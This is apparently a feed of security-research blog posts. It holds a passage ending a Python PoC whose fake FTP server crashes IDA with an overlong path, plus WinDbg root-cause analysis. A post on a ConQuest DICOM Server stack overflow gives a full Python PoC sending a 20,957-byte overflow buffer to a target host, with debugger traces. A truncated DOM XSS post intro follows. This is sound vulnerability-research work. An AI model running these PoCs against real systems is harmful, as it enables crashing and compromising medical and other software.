    self.request.sendall("227 Entering Passive Mode " + PasvResp + "\r\n")

    #LIST   
    List = self.request.recv(1024).strip()
    print "[*] Recieved LIST Command: " + List
    self.request.sendall("150 Here comes the directory listing.\r\n226 Directory send ok.\r\n")
    
    


class FTPDataHandler(SocketServer.BaseRequestHandler):
    """
    The request handler class for our FTP Data connection.

    This will send useless response and close the connection to trigger the error.
    """

    def handle(self):
        # self.request is the TCP socket connected to the client
        print "[*] Recieved FTP-Data Request"
        print "[*] Sending Empty List"
        # just send back the same data, but upper-cased
    self.request.sendall("total 0\r\n\r\n")
    self.request.close()


if __name__ == "__main__":
    HOST, PORT = ip, 8000
    SocketServer.TCPServer.allow_reuse_address = True

    print "[*] Starting the HTTP Server."
    # Create the server, binding to localhost on port 8000
    HTTPServer = SocketServer.TCPServer((HOST, PORT), HTTPHandler)

    # Running the http server (using a thread so we can continue and listen for FTP and FTP-Data).
    HTTPThread = threading.Thread(target=HTTPServer.serve_forever)
    HTTPThread.daemon = True
    HTTPThread.start()
    
    print "[*] Starting the FTP Server."
    # Running the FTP server.
    FTPServer = SocketServer.TCPServer((HOST, 21), FTPHandler)

    # Running the FTP server thread.
    FTPThread = threading.Thread(target=FTPServer.serve_forever)
    FTPThread.daemon = True
    FTPThread.start()

    print "[*] Opening the data connection."
    # Opening the FTP data connection - DON'T CHANGE THE PORT.
    FTPData = SocketServer.TCPServer((HOST, 38786), FTPHandler)

    # Running the FTP Data connection Thread.
    DataThread = threading.Thread(target=FTPData.serve_forever)
    DataThread.daemon = True
    DataThread.start()

    print "[*] Listening for FTP Data."
    # Making the main thread wait.
    print "[*] To exit the script please press any key at any time."
    raw_input()

漏洞复现


首先,运行PoC,会开启一个web端口监听,之后用IDA输入http的路径,会自动开始下载异常网络路径的PoC文件,引发崩溃。

(a48.a34): Access violation - code c0000005 (!!! second chance !!!)
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\IDA\ida.exe - 
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

回溯堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fb98 41414141 41414141 06eb4141 1b539090 ida+0x55b0
0012fb9c 41414141 06eb4141 1b539090 f6311001 0x41414141

既然覆盖到了SEH,那么回溯的情况都已不可见,在分析的时候,就从recv函数入手,在接收到数据时中断。


漏洞分析


首先在recv下断点,会多次命中,直接gu执行到返回,查看接收的数据,保存在esi指针中。

0:000> g
Breakpoint 0 hit
eax=00000520 ebx=0000003f ecx=00000408 edx=004398d0 esi=01a41b18 edi=019b5c58
eip=712017a8 esp=0012fccc ebp=0012fd28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
wsock32!recv:
712017a8 8bff            mov     edi,edi
0:000> gu
eax=0000003f ebx=0000003f ecx=04024ec8 edx=775a70f4 esi=01a41b18 edi=019b5c58
eip=004a3b74 esp=0012fce0 ebp=0012fd28 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa3b74:
004a3b74 8945f8          mov     dword ptr [ebp-8],eax ss:0023:0012fd20=00000000
0:000> dc esi
01a41b18  20303531 65726548 6d6f6320 74207365  150 Here comes t
01a41b28  64206568 63657269 79726f74 73696c20  he directory lis
01a41b38  676e6974 320a0d2e 44203632 63657269  ting...226 Direc
01a41b48  79726f74 6e657320 6b6f2064 000a0d2e  tory send ok....

确实接收到的内容是我们构造PoC返回的内容,接下来跟踪过程中,会发现执行到地址是4a042a地址位置的时候,会进行一处call调用,这个调用会多次命中。

0:000> p
eax=00000000 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a0427 esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa0427:
004a0427 8b45fc          mov     eax,dword ptr [ebp-4] ss:0023:0012ff6c=01a30d00
0:000> p
eax=01a30d00 ebx=7ffd7000 ecx=0012ff70 edx=0012ff54 esi=00000000 edi=00000000
eip=004a042a esp=0012ff48 ebp=0012ff70 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
ida+0xa042a:
004a042a e8d1fdffff      call    ida+0xa0200 (004a0200)

其中要关注一个寄存器地址,也就是ecx,ecx存放的是一个栈地址,在最后一次执行到004a042a后,步过会到达漏洞触发的位置。

观察漏洞触发时的0012ff70这个地址空间,发现这个空间已经被覆盖成畸形字符串了,也就是栈空间被覆盖了,这时候可以通过对这个地址下内存写入断点来快速定位到漏洞发生覆盖的位置。

0:000> g
Breakpoint 2 hit
eax=0012fa00 ebx=00000582 ecx=00000010 edx=0012fa4c esi=02bd4148 edi=0012ff8c
eip=0040df15 esp=0012f984 ebp=0012fb98 iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210207
ida+0xdf15:
0040df15 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:000> dd 12ff70
0012ff70  42424242 42424242 42424242 42424242
0012ff80  42424242 42424242 42424242 7653ed6c
0012ff90  7ffdf000 0012ffd4 775c37eb 7ffdf000
0012ffa0  74f69796 00000000 00000000 7ffdf000
0012ffb0  00000000 00000000 00000000 0012ffa0
0012ffc0  00000000 ffffffff 7757e115 03bf7a3a
0012ffd0  00000000 0012ffec 775c37be 00807238
0012ffe0  7ffdf000 00000000 00000000 00000000

这是一处典型的memcpy操作,这次拷贝会向栈地址拷贝数据,直接跟踪到当前的函数。

int __fastcall Sysutils::StrLCopy(int result, const char *a2, unsigned int a3)
{
  const char *v3; // edi@1
  unsigned int v4; // ebx@1
  char v5; // zf@1
  unsigned int v6; // ebx@6
  char *v7; // edi@6
  int v8; // ecx@6

  v3 = a2;
  v4 = a3;
  v5 = a3 == 0;
  if ( a3 )
  {
    do
    {
      if ( !a3 )
        break;
      v5 = *v3++ == 0;
      --a3;
    }
    while ( !v5 );
    if ( v5 )
      ++a3;
  }
  v6 = v4 - a3;
  qmemcpy((void *)result, a2, 4 * (v6 >> 2));
  v7 = (char *)(result + 4 * (v6 >> 2));
  v8 = v6 & 3;
  qmemcpy(v7, &a2[4 * (v6 >> 2)], v8);
  v7[v8] = 0;
  return result;
}

在这一次strcopy中,会将路径进行拷贝,而没有进行长度控制,拷贝结束后,栈地址空间会被覆盖,回到外层函数。

int __fastcall Sysutils::StrPCopy(char *a1, const int System::AnsiString)
{
  char *v2; // esi@1
  int v3; // eax@1
  const char *v4; // eax@1
  unsigned int v5; // ST00_4@1

  v2 = a1;
  v3 = unknown_libname_76(System::AnsiString);
  v4 = (const char *)System::__linkproc__ LStrToPChar(v3);
  return Sysutils::StrLCopy((int)v2, v4, v5);
}

这次strpcopy结束之后,会再次返回,在这个函数中的strlcopy已经将进行字符串拷贝,从而导致栈空间被覆盖,关键指针被覆盖。

0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b463d esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a39:
007b463d 8945b4          mov     dword ptr [ebp-4Ch],eax ss:0023:0012fb4c=41414141
0:000> p
eax=0000fde8 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4640 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3c:
007b4640 8d45b8          lea     eax,[ebp-48h]
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=0012fa4c esi=0014036a edi=0012fe6c
eip=007b4643 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a3f:
007b4643 8b550c          mov     edx,dword ptr [ebp+0Ch] ss:0023:0012fba4=06eb4141
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=007b4646 esp=0012f9a4 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida!EXECryptor_halt+0x163a42:
007b4646 e8dd98c5ff      call    ida+0xdf28 (0040df28)
0:000> t
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df28 esp=0012f9a0 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf28:
0040df28 53              push    ebx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df29 esp=0012f99c ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf29:
0040df29 56              push    esi
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2a esp=0012f998 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2a:
0040df2a 51              push    ecx
0:000> p
eax=0012fb50 ebx=00000000 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2b esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2b:
0040df2b 8bda            mov     ebx,edx
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0014036a edi=0012fe6c
eip=0040df2d esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2d:
0040df2d 8bf0            mov     esi,eax
0:000> p
eax=0012fb50 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df2f esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf2f:
0040df2f 8bc3            mov     eax,ebx
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=0040df31 esp=0012f994 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0xdf31:
0040df31 e87676ffff      call    ida+0x55ac (004055ac)
0:000> t
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ac esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ac:
004055ac 85c0            test    eax,eax
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055ae esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55ae:
004055ae 7403            je      ida+0x55b3 (004055b3)                   [br=0]
0:000> p
eax=06eb4141 ebx=06eb4141 ecx=00000000 edx=06eb4141 esi=0012fb50 edi=0012fe6c
eip=004055b0 esp=0012f990 ebp=0012fb98 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
ida+0x55b0:
004055b0 8b40fc          mov     eax,dword ptr [eax-4] ds:0023:06eb413d=????????

指针赋值引用了异常指针地址,导致了异常发生,引发了SEH异常处理,这个处罚位置处于刚才两个函数返回后又一处引用位置。

bool __fastcall sub_7B45DC(HWND a1, unsigned __int8 a2, unsigned __int8 a3, int System::AnsiString, int a5, char a6)
{
  unsigned __int8 v6; // bl@1
  HWND v7; // esi@1
  struct _NOTIFYICONDATAA Data; // [sp+8h] [bp-1ECh]@1
  char v10; // [sp+A8h] [bp-14Ch]@1
  int v11; // [sp+1A8h] [bp-4Ch]@1
  char v12; // [sp+1ACh] [bp-48h]@1
  int v13; // [sp+1ECh] [bp-8h]@1
  unsigned __int8 v14; // [sp+1F3h] [bp-1h]@1

  v14 = a3;
  v6 = a2;
  v7 = a1;
  System::__linkproc__ FillChar(&Data, 488, 0);
  Data.cbSize = 488;
  Data.hWnd = v7;
  Data.uID = v6;
  Data.uFlags = 16;
  Sysutils::StrPCopy(&v10, System::AnsiString);
  v11 = 1000 * v14;
  Sysutils::StrPCopy(&v12, a5);
  v13 = (unsigned __int8)byte_8AB510[(unsigned __int8)a6];
  Data.uCallbackMessage = 1029;
  return (unsigned int)Shell_NotifyIconA(1u, &Data) >= 1;
}

最后可以通过覆盖SEH异常处理结构的指针位置,最后引发远程代码执行。

ConQuest DICOM Server 1.4.17d 远程代码执行漏洞

23 February 2019 at 16:00

作者:k0shl 转载请注明出处:https://whereisk0shl.top

这个漏洞比较有意思,首先这个漏洞的软件是一个医学领域的软件,用于医学成像,其次这个软件的协议是自己定义的协议规则,也就是说具体协议字段部分的解析都是自己实现的,因此需要对协议的内容进行一定程度的分析,我在当时分析这个漏洞的时候对协议的分析比较粗浅,如有疏漏望指出。


漏洞说明


DICOM是医疗领域的一个软件,主要用于放射医疗领域,类似于图像传输等等,它可以运行在Windows,Linux和MacOS上,三个平台都存在漏洞。

PoC:

import socket, sys
 
hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'
         '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'
         '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
         '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'
         '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'
         '\x31\x20\x00\x80\x00')
 
# 33406 bytes
buffer  = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE
buffer += '\x42' * 8 # RCX = 4242424242424242
buffer += '\x43' * 8 # defiler ;]
buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444
buffer += '\x45' * 12429
 
bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'
       '\x52\x00\x00\x00')
 
print 'Sending '+str(len(buffer))+' bytes of data!'
 
if len(sys.argv) < 3:
    print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'
    print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n'
    sys.exit(0)
  
host = sys.argv[1]
port = int(sys.argv[2])
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(17)
s.send(hello+buffer+bye)
s.close

漏洞复现


它在运行的时候会创建一个Server,会开一个端口,在Windows上是5678端口,DICOM有自己的通信协议,协议目前没有找到格式标准,开头部分如下

.....q....ORTHANC         JOXYPOXY!...........................................1.2.840.10008.3.1.1.1 ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

在协议数据包里DATA部分包含畸形字符串的时候,DICOM会由于处理畸形字符串时,没有对数据长度进行有效控制,最后导致调用memcpy的时候将数据拷贝至栈地址空间,最后导致关键指针被覆盖引发异常指针引用,最后通过覆盖SEH结构导致代码执行,下面进行详细分析。

首先5678端口的进程是dgate.exe,windbg附加,发送PoC,程序崩溃。

0:002> g
(1db0.f6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

kb回溯堆栈调用发现看不到之前的调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
019b98c4 00000000 00000000 00000000 00000000 dgate+0x18b6a0

中断位置所处的函数挺复杂的,就从这个函数入手来看一下到底为什么发生漏洞。


漏洞分析


在程序入口下断点重新跟踪后,发现程序多次命中入口,对漏洞发生前的入口跟踪,发现eax=0x41的时候,离漏洞发生位置最近,而且0x41也是payload的一部分。

0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=00000001 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b570:
0058b570 53              push    ebx
0:002> g
eax=00000041 ebx=00dfa820 ecx=012b7848 edx=012b6278 esi=012b7848 edi=00dfa86c
eip=0058b570 esp=012b6244 ebp=00003eb7 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b570:
0058b570 53              push    ebx
0:002> dd ebx
00dfa820  41414141 00004141 41414141 41414141
00dfa830  41414141 41414141 41414141 41414141
00dfa840  41414141 41414141 41414141 41414141

在离漏洞发生最近的位置通过kb回溯,可以看到之前的函数调用。

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
012b6240 00591856 012b6278 00004141 012b7888 dgate+0x18b570
012b62c0 005932d3 012b7848 012b7888 012b7848 dgate+0x191856
012b62d8 00594706 012b7820 0065c808 00000000 dgate+0x1932d3
00000000 00000000 00000000 00000000 00000000 dgate+0x194706

在最外层函数下断点,发现在最外层call函数调用的时候,esp栈帧还是正常的栈帧情况,但是如果步过会到达漏洞发生的位置,也就是这个call函数只调用了一次,且esp的值会被覆盖成payload。

0:002> g
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=00594701 esp=019d62e0 ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x194701:
00594701 e8baeaffff      call    dgate+0x1931c0 (005931c0)
0:002> dd esp
019d62e0  019d7848 0065c808 00000000 00000001
019d62f0  0044fc9e 00000070 00000000 00000000
019d6300  0065c808 00000000 00000000 00000000

这样,就在esp当时所处的位置下一个条件断点,这样可以快速定位到是什么时候令栈帧被覆盖的。

0:002> t
eax=00000001 ebx=00000000 ecx=019d7888 edx=00000001 esi=019d7848 edi=019d7888
eip=005931c0 esp=019d62dc ebp=019fff80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x1931c0:
005931c0 53              push    ebx
0:002> ba w1 019d62dc

下断点后直接执行,发现程序命中在一处rep movs指令,这个指令负责的是内存拷贝,多数都是memcpy。

0:002> g
Breakpoint 1 hit
eax=018f1170 ebx=00004141 ecx=00000373 edx=00000000 esi=018f03a4 edi=019d62f8
eip=005ba9ca esp=019d6218 ebp=019d6220 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
dgate+0x1ba9ca:
005ba9ca f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:002> dd 019d62dc
019d62dc  41414141 41414141 41414141 41414141
019d62ec  41414141 41414141 41414141 00000000

跟踪005ba9ca这处地址,发现这处地址处于一个memcpy的函数中,负责拷贝的就是payload,所以造成了esp被覆盖。

  if ( v12 + v3 > v13 )
  {
    memcpy(v5, (const void *)(v12 + v11[3]), v13 - v12);

而向外回溯的时候发现这个memcpy就处于漏洞发生的函数中,遮掩刚就在这里下一个断点,进行跟踪。

0:002> g
Breakpoint 1 hit
eax=00002800 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b635 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dgate+0x18b635:
0058b635 2bc1            sub     eax,ecx
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b637 esp=019e6220 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b637:
0058b637 50              push    eax
0:002> p
eax=00002791 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b638 esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b638:
0058b638 8b460c          mov     eax,dword ptr [esi+0Ch] ds:0023:0184286c=01c10048
0:002> p
eax=01c10048 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63b esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b63b:
0058b63b 03c1            add     eax,ecx
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63d esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63d:
0058b63d 50              push    eax
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63e esp=019e6218 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63e:
0058b63e 55              push    ebp
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63f esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63f:
0058b63f e82cf30200      call    dgate+0x1ba970 (005ba970)
0:002> dd esp
019e6214  0187a828 01c100b7 00002791 0187a820
019e6224  00007ffc 0187a822 019e7848 0058e968
019e6234  0187a828 00004141 0187a818 019e7848

到达call memcpy调用的时候观察esp的三个参数,其中0x2791代表拷贝的长度,也就是10000+个字节,01c100b7,就是要拷贝的内容,就是我们的payload。

0:002> dc 01c100b7
01c100b7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100c7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100d7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100e7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

而0187a828就是待拷贝的缓冲区,我们可以看到这个值离ebp的值很近,可以直接覆盖到ebp。这样拷贝结束之后。

0:002> p
eax=0187a828 ebx=00004141 ecx=00000000 edx=00000001 esi=01842860 edi=019e7848
eip=0058b644 esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b644:
0058b644 8b4604          mov     eax,dword ptr [esi+4] ds:0023:01842864=0000006f
0:002> dd eax
0187a828  41414141 41414141 41414141 41414141
0187a838  41414141 41414141 41414141 41414141
0187a848  41414141 41414141 41414141 41414141
0187a858  41414141 41414141 41414141 41414141
0:002> dd ebp
0187a828  41414141 41414141 41414141 41414141

可以看到ebp的值也被覆盖了,某些关键指针被覆盖,最后引用的时候,会引用到无效指针。

eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

同样,可以利用这种结构直接覆盖到seh结构,最后导致代码执行。这个漏洞发生的原因,就是由于DICOM在接收5678端口处理DICOM自己协议的时候由于对于数据包长度控制不严格,从而导致了某些关键指针被覆盖,最后导致代码执行。

Solving DOM XSS Puzzles

3 February 2022 at 00:05
DOM-based Cross-site scripting (XSS) vulnerabilities rank as one of my favourite vulnerabilities to exploit. It’s a bit like solving a puzzle; sometimes you get a corner piece like $.html(), other times you have to rely on trial-and-error. I recently encountered two interesting postMessage DOM XSS vulnerabilities in bug bounty programs that scratched my puzzle-solving itch.
❌
❌